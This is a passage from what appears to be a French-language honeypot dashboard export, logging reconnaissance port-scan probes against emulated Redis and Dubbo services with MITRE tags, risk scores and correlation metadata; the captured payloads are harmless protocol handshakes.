},
"fingerprint": {
"payload_hash": "9ff2f8f8f7d4b3f2ddb5a30ad7fbaca2",
"path_pattern_hash": "6a708bf69e8680803ad7dadb39e2e4d9"
},
"target_context": {
"dst_port": 6379,
"service": "redis",
"service_name": "redis",
"risk_score": 42
},
"payload_preview": "*2\r\n$5\r\nhello\r\n$1\r\n3\r\n",
"request_sample": "*2\r\n$5\r\nhello\r\n$1\r\n3\r\n",
"payload_snippet": "*2\r\n$5\r\nhello\r\n$1\r\n3",
"evidence": {
"request_sample": "*2\r\n$5\r\nhello\r\n$1\r\n3\r\n",
"payload_snippet": "*2\r\n$5\r\nhello\r\n$1\r\n3",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "035972cd06d35802c4da850daff6e14449e64841",
"protocol_details": {
"redis_command_fr": "Commande Redis : *2",
"payload_preview": "*2\r\n$5\r\nhello\r\n$1\r\n3",
"port": 6379,
"service": "redis",
"service_label_fr": "REDIS"
},
"evidence_snippet": "*2\r\n$5\r\nhello\r\n$1\r\n3",
"attack_vector": "port scan syn \u00b7 via REDIS:6379 \u00b7 (reconnaissance)",
"target_port_label": "6379 \u00b7 REDIS",
"emulator_service": "redis",
"confidence_reason": "Confiance 100 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via REDIS \u2014 multi-protocole (10 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 14
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "redis",
"service_label_fr": "REDIS",
"dst_port": 6379,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Scan Burst",
"Beh Multi Port 60S"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "Redis 7.0",
"correlation_flags": [
"campagne_ports",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +14",
"protocol_details": {
"redis_command_fr": "Commande Redis : *2",
"payload_preview": "*2\r\n$5\r\nhello\r\n$1\r\n3",
"port": 6379,
"service": "redis",
"service_label_fr": "REDIS"
},
"attack_vector": "port scan syn \u00b7 via REDIS:6379 \u00b7 (reconnaissance)",
"evidence_snippet": "*2\r\n$5\r\nhello\r\n$1\r\n3",
"target_port_label": "6379 \u00b7 REDIS",
"emulator_service": "redis",
"confidence_reason": "Confiance 100 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +14",
"campaign_hint_fr": "Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "redis",
"service_banner": "Redis 7.0",
"service_os": "linux",
"dst_port": "6379"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 7,
"port_scan_ports_sample": [
6379,
8009,
9042,
9092,
9100,
10911,
20880
],
"multi_protocol_correlation": true,
"multi_protocol_count": 10,
"multi_protocol_sample": [
"ajp",
"cassandra",
"dubbo",
"http",
"jetdirect",
"kafka",
"port:10911",
"port:4712"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"port_scan_campaign",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 14,
"attack_chain_stage": "reconnaissance",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"mongodb_hello_probe",
"net_redis_probe",
"redis_emulated"
]
}
|
|
|
TCP |
6379 · REDIS
|
redis
|
Scan de ports
port scan syn · via REDIS:6379 · (reconnaissance)
|
Élevée
|
Moyen · 42
|
|
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Multi-protocole corrélé (5 min)
Protocole
Sonde protocole Redis
Émulateur
REDIS
WAF
—
Recommandation
Surveiller
Tags
net_redis_probe
redis_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
6379
Chemin / cible
—
Service
REDIS
Redis
Sonde protocole Redis
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +14
Risque capteur
Moyen
· 42
Confiance : Confiance 100 % — 2 signal(aux) capteur
Protocole émulé
1
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Scan Burst
Beh Multi Port 60S
Tactiques MITRE
TA0043
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "2b504f4e470d0a",
"emulator_response_len": 7,
"port_inferred_service": true,
"bytes_in": 0,
"payload_entropy": 0,
"port_category": "registered",
"org": "IDDQD-AS",
"service": "redis",
"app_proto": "redis",
"asn": 8452,
"country": "EG",
"dst_port": 6379,
"risk_waf": 8,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 36,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.5,
"risk_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0
},
"risk_score": 42,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "b10303bd0e441f9f60f46376cbc4ca72292b5068",
"event_fingerprint": "9c536ce82edfb6f83700eeb7934e9ac49a41747b",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 293,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 14
},
"named_classification_skipped": false,
"service_name": "redis",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "EG",
"asn": 8452,
"org": "IDDQD-AS",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"path_pattern_hash": "6a708bf69e8680803ad7dadb39e2e4d9"
},
"target_context": {
"dst_port": 6379,
"service": "redis",
"service_name": "redis",
"risk_score": 42
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "df7f465e8c98fe1d3ce6a12856769904de0f753d",
"protocol_details": {
"redis_command_fr": "Sonde protocole Redis",
"port": 6379,
"service": "redis",
"service_label_fr": "REDIS"
},
"attack_vector": "port scan syn \u00b7 via REDIS:6379 \u00b7 (reconnaissance)",
"target_port_label": "6379 \u00b7 REDIS",
"emulator_service": "redis",
"confidence_reason": "Confiance 100 % \u2014 2 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via REDIS \u2014 multi-protocole (10 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 14
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "redis",
"service_label_fr": "REDIS",
"dst_port": 6379,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Scan Burst",
"Beh Multi Port 60S"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "Redis 7.0",
"correlation_flags": [
"campagne_ports",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +14",
"protocol_details": {
"redis_command_fr": "Sonde protocole Redis",
"port": 6379,
"service": "redis",
"service_label_fr": "REDIS"
},
"attack_vector": "port scan syn \u00b7 via REDIS:6379 \u00b7 (reconnaissance)",
"evidence_snippet": null,
"target_port_label": "6379 \u00b7 REDIS",
"emulator_service": "redis",
"confidence_reason": "Confiance 100 % \u2014 2 signal(aux) capteur",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +14",
"campaign_hint_fr": "Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "redis",
"service_banner": "Redis 7.0",
"service_os": "linux",
"dst_port": "6379"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 7,
"port_scan_ports_sample": [
6379,
8009,
9042,
9092,
9100,
10911,
20880
],
"multi_protocol_correlation": true,
"multi_protocol_count": 10,
"multi_protocol_sample": [
"ajp",
"cassandra",
"dubbo",
"http",
"jetdirect",
"kafka",
"port:10911",
"port:4712"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"port_scan_campaign",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 14,
"attack_chain_stage": "reconnaissance",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"net_redis_probe",
"redis_emulated"
]
}
|
|
|
TCP |
6379 · REDIS
|
redis
|
Scan de ports
port scan syn · via REDIS:6379 · (reconnaissance)
|
Élevée
|
Moyen · 42
|
|
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Multi-protocole corrélé (5 min)
Protocole
Commande Redis : *2
Émulateur
REDIS
WAF
—
Recommandation
Surveiller
Tags
mongodb_hello_probe
net_redis_probe
redis_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
6379
Chemin / cible
—
Service
REDIS
Redis
Commande Redis : *2
Payload
*2 $5 hello $1 3
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +14
Risque capteur
Moyen
· 42
Confiance : Confiance 100 % — 3 signal(aux) capteur
Protocole émulé
1
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Scan Burst
Beh Multi Port 60S
Tactiques MITRE
TA0043
User-Agent
—
Règles WAF
—
Payload (extrait)
*2
$5
hello
$1
3
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "2d4e4f415554482041757468656e7469636174696f6e2072657175697265642e0d0a",
"emulator_response_len": 34,
"bytes_in": 22,
"payload_entropy": 3.2221915755066775,
"port_category": "registered",
"org": "IDDQD-AS",
"service": "redis",
"app_proto": "redis",
"asn": 8452,
"country": "EG",
"dst_port": 6379,
"risk_waf": 8,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 36,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.9,
"risk_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0
},
"risk_score": 42,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "e20d40873993cd1d89a8c4597ba770a2e4f089b6",
"event_fingerprint": "9c536ce82edfb6f83700eeb7934e9ac49a41747b",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 293,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 14
},
"named_classification_skipped": false,
"service_name": "redis",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "EG",
"asn": 8452,
"org": "IDDQD-AS",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "9ff2f8f8f7d4b3f2ddb5a30ad7fbaca2",
"path_pattern_hash": "6a708bf69e8680803ad7dadb39e2e4d9"
},
"target_context": {
"dst_port": 6379,
"service": "redis",
"service_name": "redis",
"risk_score": 42
},
"payload_preview": "*2\r\n$5\r\nhello\r\n$1\r\n3\r\n",
"request_sample": "*2\r\n$5\r\nhello\r\n$1\r\n3\r\n",
"payload_snippet": "*2\r\n$5\r\nhello\r\n$1\r\n3",
"evidence": {
"request_sample": "*2\r\n$5\r\nhello\r\n$1\r\n3\r\n",
"payload_snippet": "*2\r\n$5\r\nhello\r\n$1\r\n3",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "035972cd06d35802c4da850daff6e14449e64841",
"protocol_details": {
"redis_command_fr": "Commande Redis : *2",
"payload_preview": "*2\r\n$5\r\nhello\r\n$1\r\n3",
"port": 6379,
"service": "redis",
"service_label_fr": "REDIS"
},
"evidence_snippet": "*2\r\n$5\r\nhello\r\n$1\r\n3",
"attack_vector": "port scan syn \u00b7 via REDIS:6379 \u00b7 (reconnaissance)",
"target_port_label": "6379 \u00b7 REDIS",
"emulator_service": "redis",
"confidence_reason": "Confiance 100 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via REDIS \u2014 multi-protocole (10 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 14
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "redis",
"service_label_fr": "REDIS",
"dst_port": 6379,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Scan Burst",
"Beh Multi Port 60S"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "Redis 7.0",
"correlation_flags": [
"campagne_ports",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +14",
"protocol_details": {
"redis_command_fr": "Commande Redis : *2",
"payload_preview": "*2\r\n$5\r\nhello\r\n$1\r\n3",
"port": 6379,
"service": "redis",
"service_label_fr": "REDIS"
},
"attack_vector": "port scan syn \u00b7 via REDIS:6379 \u00b7 (reconnaissance)",
"evidence_snippet": "*2\r\n$5\r\nhello\r\n$1\r\n3",
"target_port_label": "6379 \u00b7 REDIS",
"emulator_service": "redis",
"confidence_reason": "Confiance 100 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +14",
"campaign_hint_fr": "Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "redis",
"service_banner": "Redis 7.0",
"service_os": "linux",
"dst_port": "6379"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 7,
"port_scan_ports_sample": [
6379,
8009,
9042,
9092,
9100,
10911,
20880
],
"multi_protocol_correlation": true,
"multi_protocol_count": 10,
"multi_protocol_sample": [
"ajp",
"cassandra",
"dubbo",
"http",
"jetdirect",
"kafka",
"port:10911",
"port:4712"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"port_scan_campaign",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 14,
"attack_chain_stage": "reconnaissance",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"mongodb_hello_probe",
"net_redis_probe",
"redis_emulated"
]
}
|
|
|
TCP |
20880 · DUBBO
|
dubbo
|
Scan de ports
port scan syn · via DUBBO:20880 · (reconnaissance)
|
Élevée
|
Moyen · 42
|
|
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan rapide multi-ports
Campagne multi-ports
Multi-protocole corrélé (5 min)
Protocole
Émulateur
DUBBO
WAF
—
Recommandation
Surveiller
Tags
dubbo_emulated
dubbo_payload
net_dubbo_probe
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
20880
Chemin / cible
—
Service
DUBBO
Payload
help
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Moyen
· 42
Confiance : Confiance 100 % — 3 signal(aux) capteur
Protocole émulé
1
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Scan Burst
Beh Multi Port 60S
Tactiques MITRE
TA0043
Motifs de détection (base)
OPC UA HEL
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "dabbc2000000000200000000",
"emulator_response_len": 12,
"bytes_in": 6,
"payload_entropy": 2.584962500721156,
"port_category": "registered",
"org": "IDDQD-AS",
"service": "dubbo",
"app_proto": "dubbo",
"asn": 8452,
"country": "EG",
"dst_port": 20880,
"risk_waf": 8,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 3.8,
"risk_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 42,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "cb88cc9e80333f0b8924eaa14e2807e925c6278a",
"event_fingerprint": "261cc21dc760875858948b9ed2e67e5e662a63d9",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 293,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"matched_patterns": [
"pat-0626"
],
"matched_pattern_names": [
"OPC UA HEL"
],
"pattern_ids": [
"pat-0626"
],
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 18
},
"named_classification_skipped": false,
"service_name": "dubbo",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "EG",
"asn": 8452,
"org": "IDDQD-AS",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "aee5b85055f156c30a6dd3cc9e6c4369",
"path_pattern_hash": "6a708bf69e8680803ad7dadb39e2e4d9"
},
"target_context": {
"dst_port": 20880,
"service": "dubbo",
"service_name": "dubbo",
"risk_score": 42
},
"payload_preview": "help\r\n",
"request_sample": "help\r\n",
"payload_snippet": "help",
"evidence": {
"request_sample": "help\r\n",
"payload_snippet": "help",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d0c210e5e4093f93b52433179409167f43da3df4",
"protocol_details": {
"payload_preview": "help",
"port": 20880,
"service": "dubbo",
"service_label_fr": "DUBBO"
},
"evidence_snippet": "help",
"attack_vector": "port scan syn \u00b7 via DUBBO:20880 \u00b7 (reconnaissance)",
"target_port_label": "20880 \u00b7 DUBBO",
"emulator_service": "dubbo",
"confidence_reason": "Confiance 100 % \u2014 3 signal(aux) capteur",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via DUBBO \u2014 multi-protocole (10 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 18
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "dubbo",
"service_label_fr": "DUBBO",
"dst_port": 20880,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-scan-burst",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Scan Burst",
"Beh Multi Port 60S"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-dubbo",
"correlation_flags": [
"scan_rapide",
"campagne_ports",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan rapide multi-ports",
"Campagne multi-ports",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"payload_preview": "help",
"port": 20880,
"service": "dubbo",
"service_label_fr": "DUBBO"
},
"attack_vector": "port scan syn \u00b7 via DUBBO:20880 \u00b7 (reconnaissance)",
"evidence_snippet": "help",
"target_port_label": "20880 \u00b7 DUBBO",
"emulator_service": "dubbo",
"confidence_reason": "Confiance 100 % \u2014 3 signal(aux) capteur",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +18",
"campaign_hint_fr": "Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "dubbo",
"service_banner": "honeypot-dubbo",
"service_os": "linux",
"dst_port": "20880"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 6,
"port_scan_ports_sample": [
8009,
9042,
9092,
9100,
10911,
20880
],
"rapid_port_scan": true,
"rapid_scan_distinct_ports": 3,
"scan_velocity_ports_per_s": 2.09,
"multi_protocol_correlation": true,
"multi_protocol_count": 10,
"multi_protocol_sample": [
"ajp",
"cassandra",
"dubbo",
"http",
"jetdirect",
"kafka",
"port:10911",
"port:4712"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"port_scan_campaign",
"rapid_port_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
